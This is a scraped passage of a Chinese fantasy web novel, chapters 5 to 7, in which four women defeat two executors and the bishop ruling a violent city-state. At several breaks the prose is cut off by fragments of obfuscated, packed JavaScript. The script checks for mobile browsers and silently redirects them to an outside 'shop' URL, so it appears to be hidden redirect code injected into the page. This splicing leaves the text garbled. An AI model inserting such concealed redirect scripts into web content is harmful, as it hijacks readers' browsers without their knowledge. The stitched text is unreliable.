l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283710|198387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力。 在城区那些血拼的阵营,多半是能力者的后代,只不过他们未能继承母辈的能力,沦为阵营纠纷的工具。 阶层往上,分为七大阵营的,分别为傲慢,忮忌,暴怒,怠惰,贪婪,暴食,色欲。而七大阵营分别有各自的代表执行官——先前杀掉的三个就在其中。执行官往下还有辅助官,定位是特殊能力但是不够强,比那些无能力者好一些。 整个城邦的统治者被称之为主教,是城邦的最强王者,在厮杀中胜出的领导人。 正因为选拔领导人的方式趋近于原始,如今存活的人早已没了成熟人类社会驯化的痕迹,全都是一出生就在这荒原之中的“本地人”。 他们发展出的文明充满着暴力与兽|欲,因而才将七宗罪作为阵营的核心名称。 这群地底人,是在主城内厮杀后失败,被阵营抛弃的角色。他们不能够拥有土地,不能够见到阳光,甚至在尝试与边缘区求和的谈判中,也因工作能力太差,遭到排挤。 随着城市系统的完善,后续战败者最后都被归入平民区,勉强度日。如今的洞穴人其实就是“初代战败者”,受着最严重的感染,过着最痛苦的生活。大多是中年人与老年,少数青年。 那位“琪”医师在诡异世界游历时,意外发现他们这群地底人。地底人身上的黑雾侵袭程度极高,黑雾是下沉的不可言状气体,在洞穴中的浓度远大于外界。 因而将地底人用作实验对象是最佳选择。 她自主研发了控制黑雾扩散的方法,最终将黑雾变成固定在人们身上与眼部的黑色沉积。但是黑雾对大脑的损伤是不可逆的,这里的人能够正常生活,却也仅仅只是在及格线以上。 用通俗的话来说,治愈后的人大多是轻度智障。 大部分具有医疗功能,包括抵御黑雾的手段都被高层垄断。主城区的人繁衍后代,增加人口数量,人口数量过多引起资源分配不均衡,产生斗争,斗争失败的人被抛弃到边缘。 唯有主城区的中央者永立高枝。 大致听完整个穴居群体的遭遇,归霞庆幸自己的做法是对的。她感知到主城区的人垄断资源,对边缘区展开屠戮时,就产生了推翻这座城邦的念头。 “这位老太太,听完您所说的事情,我更加坚定地想要去面对那位‘教主’。”归霞一身正气,恨不得当场拿下教主的项上人头。 孟书孔想找到她仰慕的医师,拿到手稿后小心翼翼将手稿保护好,谢过老太太。 老太太是这穴居人群里唯一智力正常的,她余生的念想就是把“琪”医生的手稿交付给可托付的人。如今愿望已成,只等未来的发展。 江临歌和唬子大眼瞪小眼 江临歌是一个没什么抱负的人,她在这个世界唯一的目标就是活下去。 若是有机会找那些人复仇,就好比现在抱上归霞的大腿,她必然是诚心追随。 唬子无非是觉得先前为那教主卖命太憋屈了。 江临歌抬头看着头顶黑黢黢的管道裂口,问唬子:“你这么强,为什么要为主教卖命?” 唬子低吼了两声。对着天花板。 “你的意思是,有更强的?”江临歌的瞳孔收缩了一下。 她几乎是把自己的五脏六腑都喊出来:“归霞,有人来了!” 5. 第五章 归霞早已感知到一股强大的气息扑面而来,手握住剑柄蓄势待发。 唬子叼着江临歌,头也不回逃向洞穴的某一条通道,就在唬子飞跃在半空中时,沉重的压力席卷全身,她猛的重摔在地上,地表都裂开几道纹路。 归霞持着剑冲了上去,在剑锋劈下去的刹那间,无形的力量束缚她,紧接着她被凭空的蛮力撞飞,直到一声闷响镶嵌在岩壁之中。 江临歌姑且没受到重创,她在唬子面前,摇摇晃晃想要起身,浑身的肌肉都像是绑上石头,骨骼咯吱作响,仿佛下一刻就要断裂。 “嗷呜……”唬子发出深沉的低吼,挣扎着想要爬起来。 归霞咳嗽两声,吐出一滩血,腰间的玉佩闪烁,疑似是在危急关头为她吸收了致命的攻击。 孟书孔望向来者。她留着一头利落的短发,身上披着靓丽的动物皮毛,身形精壮修长,十根手指各自带着亮晶晶的戒指。 “我是傲慢阵营的执行官,志锋。你们杀了教主手下三个人,竟然还那么明目张胆想要进攻主城,我看你们是忘记了,这座钢铁城邦到底谁的话语权大!” 志锋话音刚落,手中的十个戒指熠熠生辉,一轮混沌的光球凝聚在她手中,下一瞬,光球绽放,可视化的冲击波迎面而来。 孟书孔愣在原地,以她的身手,绝对躲不过去。老太太绝望地闭上眼睛,等待死神的审判。 忽然,一道巨型的黑影闪现,它一口叼住孟书孔,而老太太也被黑影背后的小影子给抓住。 唬子叼着孟书孔,稳稳躲过冲击波。江临歌则卧在唬子背后,抓着老人离去。 归霞趁机冲到志锋的后方,剑还未落下,又是同样的方式将她冲飞。 唬子将老太太安置好,孟书孔则又坐回唬子的背上。 “我记得她。”孟书孔说,“她是七宗罪的执行官里最强的人,拥有‘压迫’的力量。能够瞬间释放出无与伦比的强力,反弹攻击,击打目标,甚至释放冲击波。” 几乎没有人能够杀死她,就像归霞刚刚那样,想要近身,随后被冲飞。 “唬子,你也打不过她吗?”江临歌问唬子。 唬子没吭声。 江临歌撇嘴,手紧紧抓住唬子后背的毛,观望唬子围绕志锋左右横跳。 归霞的移动速度很快,但是每当她想要接近志锋时,志锋都能反应过来,再把归霞的攻击抵挡回去。 她的攻击方式是手中的光球绽放,需要提早凝聚才行。因此她都是左右手替换攻击,几乎没有休息的间隙。 “孟书孔。”江临歌将目光投向身后戴眼镜的女人。 “你能用能力控制那个人吗?” 孟书孔的能力有两个效果,一个是根据人泄露出来的情绪看到人的片段记忆。另一个是催眠,能够安抚人的内心,也是有效的控制黑雾的效果。 “不太行吧,志锋又不是被情绪裹挟得不能自已。安抚她的情绪只能够让她更冷静地应对战斗。” 孟书孔连连摇头。 江临歌“啧”了声,道:“你试过没有。” “没有。”孟书孔回答,“你见过有人高考四百分,志愿填清华大学的吗?” “我没上过高中。”江临歌翻了她一个白眼,“但是我在这个世界靠自己活下来了六年。” “你高中的时候知道自己一定会读到硕士成为医生吗?” “如果不想我们被那个志锋杀死,那就请你照着我的话去做。” 孟书孔一惊,她问:“你现在多大?” 江临歌想了想,说:“21岁,快22了吧。” 六年,也就是说江临歌15岁就进来了,连高中都没读过的孩子怎么活下来的。 孟书孔她虽然生理年龄是31岁,但是因为曾经被黑雾感染过,心智还停留在自己二十多岁的状态。她一时间无法接受自己比江临歌大十岁的事实。 甚至在关键时候还得靠一个小孩儿提建议,实在是太让她自尊心受挫。 孟书孔提起手,将注意力集中在不远处的志锋身上。她在想,平常都是安抚患者脑内的黑雾,若是将志锋的意识也认作黑雾,是不是能够有相同的效果。 在志锋即将凝聚下一波攻击时,忽然,手中的光球提早散去。归霞趁着这个空档,提剑刺向志锋。志锋反应极其迅速,剑没能此中她的心脏,靠闪避让伤口更加贴近外侧。 旋即,她握住剑身,大喝一声,手里的冲击力直接江长剑折断,归霞举着断剑被她一拳打飞,血液已经顺着伤口涓涓流出。 孟书孔蹙眉,喋喋不休:“刚刚我能力是起作用了吧,让归霞有了空档能够刺中。这家伙竟然直接折断了剑,让断剑留在自己体内。” “不得不承认,她是一个狠角色。像是抱着必死的决心来杀我们。” 江临歌对唬子囔囔:“你快去攻击志锋,别像孟书孔和小说里的NPC一样解说,夸反派怎么厉害,怎么难打。” 孟书孔很想锤江临歌,问她是不是对我有意见?要不是唬子一个飞跃差点把她甩下去,她早就一拳头砸上去了。 唬子飞跃而上,露出她尖利的爪子挥向志锋,志锋没来得及应付,胸口乃至于腹部硬生生被划出三道凌厉的血痕。 紧接着唬子撤离,以免受到对方直接冲击。 “就这样,唬子,打她!”江临歌在唬子背上呐喊助威。 孟书孔没闲着,方才用能力干涉成功,她便再度将注意力集中在志锋身上,希望能够再度延缓她的能力释放。 唬子眼睛瞬间变得猩红,落在地上,随后猛然一蹬腿,化作漆黑的流光横冲向志锋。 归霞啐了一口血沫,在她的感知视野中,看到一道极快的虚影冲向志锋,于是将断剑握在手里,驱动内力。 她以自身的极限速度飞向志锋,志锋左右为难,左有巨犬的利爪,右有武者的剑锋。正当志锋想要同时释放左右双手的光球力量,背水一战之际,一道纤细的钢丝蓦然刺穿虎子的前爪,掠过志锋的下巴,割开归霞的右肩。 归霞的半边身子炸开一圈弧形的血污。 志锋勾唇,即便上半身插着另一半的断剑,她仍然露出母熊般狂野的魄力。 “劳伦娜,你来得太迟了。”她面向不远处悬浮在半空的女人。 那个女人穿着黑色的斗篷风衣,下半身是干练的工装裤,绑着几道藏着暗器的腿包。靴子锃光瓦亮,踩在一道近乎看不见的钢丝上。 她的用指节夹着四根钢针,恐怕这钢针便是她控制钢丝方向的工具。 “怠惰阵营的执行官,劳伦娜,擅长用钢丝与钢针攻击,有一定的磁力控制能力,能够操作武器飞行的方向与选中的目标。” “她的能力本身不太适合作为强攻者出场,一旦与其他执行官配合,她就是最好的辅助。” 孟书孔头大,以她们目前的情况,凶多吉少。唬子和归霞负伤,她和江临歌都没有战斗能力,面对两个强劲的敌人,一时间失去冷静。 江临歌摸下巴,她话锋一转:“孟医生,你之前磕CP吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283711|198387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “磕什么CP?”孟书孔莫名其妙。 江临歌用大拇指比了比对面两个敌人,直言不讳:“她俩放电影里,肯定有人磕。挚友诶,伙伴诶,是能够把后背交给彼此的人诶。” “你有病啊。”孟书孔翻她一个白眼,“没玩过几年互联网就穿越进来,小屁孩乱说。” 唬子忍无可忍,颠了颠肩膀,把江临歌甩下去。 江临歌摔在地上,屁股痛痛的,爬起来拍拍灰,下一秒,她慌忙一个侧翻,一枚钢针刺在她脚边的岩土中,力道之大甚至将钢针整根没入。 劳伦娜咂嘴:“反应还挺快,小妹妹,这次能够躲过去,下次可就不一定了。” 江临歌眨巴眼,然后躲到唬子腿后边。 唬子羞恼地咆哮一声,一口咬住江临歌的外套,火速奔跑,在场地里上下跳动,生怕成为静止的靶子。 “江临歌,你快想想办法!你不是在这里活下去六年吗?你还有什么办法!”孟书孔死马当活马医,觉得江临歌说不准真的能找到破局之道。 江临歌飞来舞去,先提议:“把霞姐抓上来,她现在负伤了。” 钢针的攻击频率不算高,但是容错率极低,被刺中就是一道贯穿伤。唬子的前爪现在还淌着血,只能依赖剩余的三条腿行动。 江临歌抓着唬子的胡须,顺着她嘴筒子爬回唬子背上。归霞用断剑撑着身体,她感知到唬子在朝她这边奔来,也感知到自己已然成为被攻击的靶子 “孟书孔,放能力干扰她的磁力!”江临歌一声令下,孟书孔立刻照做。 钢针在半空中瞬间失去直指目标的强势,反而颤颤巍巍,极有可能歪斜。 忽然,钢针的后方冲来一道半月形的冲击波,硬生生将钢针的推力加速到极致。 孟书孔欲哭无泪,以她现在的状态,能控制住一个敌人已经是极限。 “真羡慕她俩能打配合。”江临歌侧过半边身子,一手扯着虎子的毛,一手朝下去揽住归霞。 归霞预判江临歌的动作,无需自己跃上狗背,而是将断剑丢出,砰一声与钢针共同化作两块废铁。旋即她运气,朝半空中放出一道气功,中和大量的冲力,腰间的玉佩同样抵挡了一部分伤害。 这次硬碰硬的较量结束于风平浪静,归霞回归团队,三人一狗面朝站在钢丝上的两个女人。 “江小友,孟医生,唬子,归霞这次属实是太狼狈,让你们失望了。”归霞捂着肩膀的伤口,还不忘朝队友道歉。 孟书孔要被这个心系群众的道士给治愈了。 被治愈后,她还凶巴巴瞪了江临歌一眼。江临歌无语,提醒队友们:“目前不知道怎么赢。” “我们主C,负伤,失掉武器。坦克负伤,只能闪避。辅助太弱,只能控一个敌人。还有我……我没战斗能力。” 钢针又密密麻麻倾泻而下,紧跟在钢针后边的,是一道宽大到近乎无法躲避的冲击波。 “我还挺希望这次你俩能够活下去的。”江临歌瞄了眼站在狗背上的两个人。 孟书孔和归霞看着江临歌发愣。归霞问:“江小友,你是已经放弃了吗?” 江临歌淡然扫过身后的两个人,轻笑一声。 “放弃?怎么可能放弃。” “我在这边唯一支撑我的信念,就是活下去。” 江临歌站在唬子的脑袋上,凝望离自己越来越近的钢针。 在钢针的距离近到某一个临界点时,江临歌突然大喊一声。 “唬子,吼她!” 6. 第六章 唬子的吼叫声同样也能制造出巨型的冲击波,双方的力量相撞,尘土飞扬。唬子一个躬身,几根钢针都遁入她身后的岩壁之中。 劳伦娜和志锋以为唬子会从侧方穿出尘埃,没想到正前方,两团奔跑的气势冲破尘障,江临歌和归霞竟然直接踩着钢丝冲向敌人。 劳伦娜惊慌失措,想要驱动能力切断钢丝,发现自己的磁力忽然变得十分羸弱,连催动钢针退出岩壁都做不到。 志锋反应迅速,她正要发起下一轮攻击,唬子自她的后方张开血盆大口,要将她一口吞尽。 破罐子破摔,志锋干脆想要连劳伦娜一起用冲击波轰飞,哪知手里的光球居然散去。孟书孔坐在唬子的背上,露出势在必得的微笑。 劳伦娜的钢针飞出岩壁,钢丝松弛,两名顺着钢丝直线而上的人失去支持。 归霞见状,干脆踩着江临歌的身躯,向前飞去。她的速度比回归到钢针快多了,在钢针撞上她之前,归霞早早到达劳伦娜的正前方。 “劳伦娜小友,恕我下手决绝,不留你生路。”归霞的伤口迸发出鲜血,磅礴的力量凝聚在她的指尖。 志锋见此,不顾自己的能力受到限制,伸手揽过劳伦娜的身躯,让归霞这充满道力的一击穿透她的胸膛。 看到友人的胸膛被贯穿,劳伦娜的大脑顷刻宕机。血液飞溅,淋在她的脸上,糊了她的双眼。 归霞毫不犹豫,甩手,一脚蹬开志锋,落在劳伦娜精心设计的某一条钢丝上。 唬子落地一个大跳,接住下落的江临歌。江临歌和孟书孔撞了个满怀,她还仰面朝天,指着敌人说:“你看,我就说她俩是CP。” 孟书孔笑而不语,她把江临歌捞起来,给了她一个大大的拥抱。 “我们赢了。”孟书孔说。 “我们活下来了。”江临歌说。 两个人对视,会心一笑。 劳伦娜抱着逐渐冷却的志锋的身体,内心的恨意横生。她甚至连和志锋讲最后一句话的功夫都没有,催动钢针包围归霞。 归霞漠然,伸出二指,捏出一道法决,在志锋体内的那半截断剑飞出,穿透劳伦娜的心脏。 方才的战斗,归霞连消停的机会都没。志锋的死换来她短暂的歇息,她自然不会浪费,转而去念叨御剑之法。 她长袍一挥,另外半截断剑归来,她虚空写了一道符咒在断剑的上方。这剑光闪烁,似是雷鸣,接而这剑竟然在雷鸣电闪中不断修复,恢复如初。 归霞喘着气,摇摇晃晃从钢丝上落下,被唬子接住。 劳伦娜与志锋的尸体悬挂在洞穴的半空,一同化作干尸与风尘。 江临歌举着归霞的剑,切下自己衬衣的一小块,替归霞的肩膀做了个简单的包扎。 “江小友,贫道能力有限,还得劳烦你来照顾。”归霞先前与忮忌、贪婪的战斗如此轻松,让她以为执行官不过如此。 结果落得这幅狼狈模样,属实令人难堪。 江临歌摇摇头,说:“后边打主教的时候还得看你,你可得把伤养好。” 面对突如其来的袭击,轻度智障们依照本能抱头鼠窜,等外面静悄悄后,才敢偷偷瞄一眼。 老太太又被颤颤巍巍扶出来,抬头就看到两个人挂在自家院子上边。 “我的天哪……”她发出惊叹,“你们……你们竟然真的杀了她们。” 江临歌顺着唬子的尾巴滑下去,立在老太跟前:“别感叹了,村里头有医疗器械不,我们霞姐受伤了。” “有的有的,只不过都是写老旧的设备,不知还能不能用。” 江临歌将归霞交给孟书孔照顾,村民热情地招待了她们一顿晚餐。虽然都是些混着土的米糊,还有一些不清楚是什么生物的肉。对于荒地求生的几人来说,能有口吃的就行。 晚上,会安排一两个守夜,唬子太大只了,只能在门口,江临歌就跑过去和唬子一起睡。归霞在房顶上打坐,她的伤口已经被处理完毕,恢复得挺好的。 孟书孔本来想在屋子里睡,看到江临歌和唬子睡在一块,她从安全方面考虑,也过来和唬子窝在一起。 洞穴的夜晚是黑黢黢是,白天偶尔还有几缕光线从一些缝隙里渗透进来,到了晚上只剩一片漆黑。连挂在半空中的两个尸体都看不见。 “临歌。”孟书孔靠在唬子怀里,想和江临歌说说话。 江临歌眼皮都没抬,“嗯”了一声。 “白天有时候,我可能说话太心急了些。我不知道你真的有办法,所以现在向你道歉,然后再和你说一声谢谢。”孟书孔她很真诚,黑框眼镜下的瞳仁发亮。 江临歌翻了个身,背朝孟书孔:“不用道歉。也不用说谢谢。我只是不想让你死的那么容易而已。” “如果真的处理不了,我可是会丢下你们逃跑的。” 孟书孔被江临歌逗笑了,她将目光放向黑漆漆的深处,自言自语:“在遇到你之后,我总觉得我好像有一个妹妹。” “很早以前,我们好像就见过面了一样。” “不过说你是我妹妹,感觉又不像。我的妹妹应该是特别乖巧可爱,又很聪明能干,哪里像你做什么事儿都不着调。” “江临歌,我还是要感谢你。” “让我有了一丝做姐姐的感觉。” 孟书孔拍了拍江临歌的肩膀,发现她已经睡着了。毕竟二十出头的年纪,在她看来就是一个小孩。她和小孩计较什么呢? 想罢,孟书孔闭上眼睛,也进入梦乡。 唬子微微抬起眼皮,看到江临歌睡在她怀里,安心再度睡去。 江临歌在梦里又看见了这个洞穴。 这是她的能力,能够在梦境中推演接下来发生的事情。 通常,只有她一个人在梦里,她在现实里已经认识的人进不来。她能够看到的是与村庄别无二致的镜像村庄,甚至里边的居民都是一比一还原——以及,她如果在梦里偶然遇到某一个“候选者”并知晓他的特性,现实里遇到“候选者”的方式会与梦境不同,甚至不会遇见。 但是针对“候选者”的特性,她能够在梦境里提前知晓。 她之前确实在梦里见过孟书孔,见过很多次。 不过孟书孔对她来说,并不算是特别重要的人。是她可以在遇到危机时立刻抛下的人。 江临歌她的目标只有活下去,不择手段。 她想按照接下来的规划,应该是通过洞穴内部的通道走到中心塔,找到主教,杀了她,改变整个城邦的结构。 可是新的制度该由谁来统治呢?平民区的人吗?还是那些有特殊能力的人。 这样真的不会又演变出新的阶层结构,重蹈覆辙吗? 江临歌索性不想了。她目前的目标就是解放钢铁城邦,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283712|198387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陪孟书孔去找她要找的医生。说不准能够在找医生的中途学会攻克黑雾的方法,这样她就不用担心自己哪天会死翘翘。 在梦里没有唬子代步,江临歌一个人走了好久。如果她这时候在现实里睡醒,那她在梦里的努力便功亏一篑。 她要走快一点。 江临歌加快脚步,最终在洞穴的终点,她看到一块通往地面的天窗。天窗很小,她自己能够顺着岩壁爬上去,换成唬子的话她大概率要靠吼叫震开天窗,然后钻出去。 爬出天窗,就能够到达中心塔附近。中心塔附近全都是戒备森严的士兵,全副武装,严阵以待。 江临歌趴在草地上,观察人来人往的士兵。 总共八个士兵,俩俩成对轮岗巡逻。江临歌一个人能够干掉三个,剩下五个,交给归霞应该不成问题。 不过在梦里探索到此便结束,江临歌是不甘心的。她习惯性放手一搏,在梦里她有无数次试错的机会。 江临歌冲了出去,运气很好,放倒两个士兵后轮岗的还没来,她抢了抢,用身份卡开了高塔的门,风风火火闯了进去。 进去不到两分钟,整栋楼拉响了警报。几乎所有的士兵都在追踪江临歌,他们朝江临歌开枪,江临歌拿他们队友的尸体挡子弹。他们三五成群在前方揽住江临歌的去路,江临歌举枪,枪枪爆头。 太多次了。江临歌演练过太多次了。 所以她的身手才如此敏捷,战斗技巧如此娴熟,甚至在关键时刻还能随机应变,找到一线生机。 江临歌的目标是活下去。 可她在梦里已经死过太多次了。 杀到最后,江临歌爬上顶端,教主坐在高铁最高处正中央的王座。在她的身边,还剩下最后的两个执行官,分别是愤怒与色|欲。 愤怒执行官是一个身上和脸上有很多伤疤的脏辫女人。她浑身的肌肉膨胀得厉害,几乎到了一拳能够打死江临歌的程度。 色|欲执行官是一个穿着暴露的男的,前后只有两块帘子遮挡。这叫什么,开盖即食吗?男的前后都能用,所以这个阵营是男性为代表。 主教则是一个头戴皇冠的女子,她坐在王座上神态威严,就像是这座钢铁城邦最严厉的母亲。 “你就是把我手下五个执行官杀死的人吗?你的伙伴呢?总不能是你单枪匹马就来了吧?”主教的声音力压整个高塔,江临歌总觉得周围的空气都变得沉重了。 “身手倒是不错,能够把我的士兵全都放倒。可惜在我面前,还是差点意思。” 主教轻轻勾了勾手指,江临歌的右手瞬间膨胀,紧接着爆开成一团黏糊糊的血肉。 江临歌疼得说不出话来——明明是做梦,为什么偏偏感觉这么真实。 她想要探寻主教能力的弱点,于是她用力向主教奔跑,她的左腿开始膨胀,下一瞬,她的左腿炸裂,她扑倒在地。 江临歌匍匐着往前爬,另一只腿也炸开,变成一团血肉。 最后,她用左手支撑着自己抓住教主的脚腕。 她的左手也没了。 教主踩爆了她的脑袋。 江临歌惊醒。她看向身旁在沉睡的孟书孔,又看向在屋顶打坐的归霞。 她摸了下自己的后颈,全是被吓出来的冷汗。 她们怎么赢? 那个教主到底拥有什么能力,能够如此残暴地虐杀她。 7. 第七章 “江小友,是睡眠不佳吗?”归霞留意到江临歌的惊恐,自屋顶一跃而下,站在江临歌面前。 江临歌如实回答:“我的能力是在梦里推演接下来有可能发生的事情。我见到主教,随后被单方面虐杀。” “是只有今晚做这个梦,还是每天都会做?”归霞蹲下身,与江临歌平视。 江临歌想,你又看不到我,为什么偏偏要蹲下身呢? “每天吧,因为我总是在梦里跑出去寻找破局的可能性。在梦里被杀死,我就会惊醒。如果偶尔想睡好觉,在安全的地方什么都不做就行。” “如果即将被杀死,或者不想面对接下来发生的事情。我是能够强制苏醒的。” 江临歌有多久没和人说过自己的能力了?像这样把自己能力的情况一五一十全都告知他人的,少有。 “你想先用能力去探探路,不过梦境里只有你一个人单打独斗,因此你会很辛苦。”归霞理解江临歌的所作所为。 她坐在江临歌面前,露出笑容:“你这人嘴上说话难听,其实心里还是有我们的。” “倒是和我以前有几分相似。”归霞袒露心声。 江临歌歪头:“你以前?” “我天生是个瞎子,爹娘觉得我累赘,把我丢在福利院。福利院的老师教我识字和一些常识,勉强让我拥有生存的技能,可惜这世道对盲人就是不公平,我甚至在福利院都有其他看得见的孩子欺负我。” “后来,我遇到一个挚友,她大概比我大几岁,也是一个道士。她看重我的天赋,让我加入她们师门。我随着她修行几年,能够感知到这个世界,拥有一身武功,在这世上有一个安身立命之所。” “后来的事儿,便是挚友她意外去世,将这玉佩留给我。我也不知怎么的,随着这玉佩穿越来这。” 归霞将玉佩取下,握在手心给江临歌看。 “我以前怎么会那么任性呢?不相信师门里的师兄师姐,对所有人都恶言相向,骂她们看不起我这个瞎子。” “哪怕是后边长大了些,也和现在的你一样,口是心非,对师姐长辈们拉不下脸,不肯承认她们对我很重要。” “反而是现在,最初帮助我的挚友逝世,我意外穿越到异世,我竟然开始和你忏悔我先前的所作所为。” “临歌,我不想你和我一样后悔。” 江临歌注视归霞手中的玉佩,没说话。 归霞没逼她,她也清楚这不是靠劝说能够解决的。她让江临歌好好休息,让她不要在梦里尝试。 万一只是她一个人打不过,现实里有其他人帮忙会很轻松呢? 归霞的心态一如既往的好。 江临歌愣愣地望向她,又把目光一一扫过孟书孔与唬子。 她似乎从不相信队友能够给她带来决定性的胜利。 她也不相信万一。 等江临歌再醒来时,唬子已经开始行动。她驮着三个人,孟书孔和归霞看到江临歌醒来,问江临歌又被杀了吗? 江临歌骂她们能不能说点好话。 唬子来到江临歌梦里初见的那个天窗,不出所料,一声震天吼冲破天窗,唬子沿着岩壁往上爬,像是一条越过龙门的鲤鱼,冲出地表。 和江临歌不同的是,唬子从一开始就吸引了全部的火力。 她挥舞自己的大爪子拍死那些士兵,连子弹都用不着防,她皮厚,子弹打不穿。 随后唬子一路平推,直接带着队友杀到主教的面前。 真正见到主教时,江临歌是在唬子的背上,用居高临下的姿态看她。 主教显得很渺小,明明在梦里杀过她好几次,唯独现实这次,江临歌不觉得她可怕。 “你们就是杀死我的五名执行官的人吗?”主教怒不可遏,“唬子,没想到你竟敢叛逃,真是不知好歹!” 愤怒与色|欲两个执行官甚至不用主教下令,已经朝唬子攻去。 唬子却丝毫没有展现退缩的意味。 代表剩下的这两位执行官不够强,甚至在唬子面前不够看。 江临歌握着半路抢走的某一个士兵的匕首,她冲向愤怒执行官,发现她只有力气出奇的大,灵活度方面近乎没有。 江临歌甚至,只需要一个绕后,拿匕首抹开她的脖子,就能结束她。 太弱了。江临歌忍不住想。 至于另外一个男的,他的能力似乎真的和颠鸾倒凤挂钩,对付唬子,没用。唬子甚至只需要一巴掌就能拍死他。 最后所有人的目光面对主教。她的能力江临歌姑且摸清楚,应该是能够引爆血液之类的能力。 具体怎么引爆,为什么能够引爆,江临歌不太清楚。 不过有孟书孔在,主教的能力将会无法成功启动,直到归霞将她斩杀于王座下。 在唬子步步紧逼之际,主教竟然当场放弃自己的王座,选择逃跑而去。 归霞腾空一个翻身,挡住主教逃跑的去路,她持着寒光闪闪的宝剑,对着主教的脸。 “怎么回事?你竟然抛弃你的子民与手下,自己选择逃跑?” 主教哂笑:“我打不过你们,自然是要逃跑?在这欲望与权力至上的城邦,根本不存在什么真善美。” “真是懦妇,竟然连能力都不使用,连反抗都不反抗一下吗?”归霞面对如此小人,生出些许鄙夷之情。 主教当即跪下,恳求归霞:“我这一生无风无浪,城邦的一切规矩都是前几代的主教定下,我无非是用自己的能力爬上主教的位置,此后从未行恶。” “那你说说你的能力是什么?”江临歌朝她丢匕首,嵌在主教脑袋旁的地板上,吓得主教流了一身冷汗。 “我的能力是,让别人对我产生恐惧,误以为我很强大然后我就真的能使用出她们想象中的力量。” “可是你们,如此轻而易举地杀死了我的部下。甚至杀到这里,是抱着必死的信念。” “你们压根对我不恐惧,甚至是我该恐惧你们。” 话到这里,江临歌明白自己为何总是被主教杀死了。因为她害怕主教这个未知的强大。 反而是和归霞,和孟书孔,和唬子在一起,她就不会恐惧主教的强大。因为她知道,只要有她们在,就一定有办法能够解决。 意识到这一层面,江临歌释然一笑,从狗背上滑下,去捡起方才被她丢下的匕首。 “是你这个该死的城邦害我重启了十七次,主教大人,我想你也没有太大的存活必要。”江临歌她并没有怜悯她,或者给主教改过自新的机会。 一个在危难时选择逃跑的君王,早就在她逃跑的那一刻就应该被杀死。 江临歌了结主教,就像主教毫不留情在梦中杀死她那样。 “江小友,我说得没错吧,有了我们的帮助,是不是轻松许多?”归霞朝江临歌丢下一句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283713|198387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江临歌勾唇,没直接回答她。转而挑起其他话题:“你们说下一任君王,不如让那个老太太来当如何?” “女人的八十岁,真是打拼事业的好年纪。” 孟书孔惊恐地看向江临歌。 归霞接话:“我倒是觉得没什么问题,毕竟老太太年龄大,见识多,何况面对一村子傻子,她也都有好好教导,甚至留存了那名医生的手记。” 孟书孔吐槽:“你们有常识吗?八十岁她能动就不错了,还让她登基成王啊?” “八十岁不行了吗?”江临歌反问,“我看她身体还挺硬朗的,又是一个明事理的人。” 孟书孔不和没读过高中的人计较,转而问归霞:“她不懂也就算了,你怎么也跟着凑热闹?” 归霞摸着下巴说:“我之前在山里修行,很多道长都七八十岁才小成,对于她们来说八十岁不过是又突破了某一个修行阶段而已。” “我的意思是,女人不用太早放弃自己,她才八十岁呢?想要养老等120岁左右再考虑吧。” 孟书孔觉得自己前半生学的医疗知识全都喂了狗。思来想去,这城邦恐怕还真没有谁能够像那老太一样明理。 几个人一拍即合,孟书孔去把老太太请出来,唬子和江临歌,还有归霞自然是去平定主城区内部的一些混乱的阵营斗争。同时,她们将边缘区的平民放进来。 至于老太没有左右君臣辅佐,只有一堆轻微智障拥护她,会不会即位第二天就驾崩。大概率不会。 孟书孔跟江临歌解释,一个地方如果群众基本生活都保障不了,只有顶级的精英能够衣食无忧,稍微次一点的人会因为一场斗争失败就过上穷困潦倒的生活,那么这个国家内部是永远不会安宁的。 但是忽然有一天,一个领导人说人人平等,要求每个人工作八小时双休,还给你五险一金,甚至设定了低保,一些不可避免的大型医疗费用(比如说黑雾感染)由国家来承担。大部分的群众不用生活在水深火热之中。 只要打响第一枪,政策落地,自然会有得到甜头的人来拥护这位领导人。共产思想的决定与传播一旦开始,即便后来又有人想要重新回归专制独裁的统治,想必是非常困难的。 而那些有特殊能力的人,让他们物尽其用,各司其职,用他们的能力造福城邦换取整个国家的发展,让每个人都能拥有工作。或许还会有一些贫富差距存在,但这更多是能者多劳,多劳多得的观点。 只要管理层一出手,很难会出现垄断的局面。何况随着世界的推移,特殊能力者肯定是越来越少的,与其专攻特殊能力者的培养,不如大力发展国家基层。 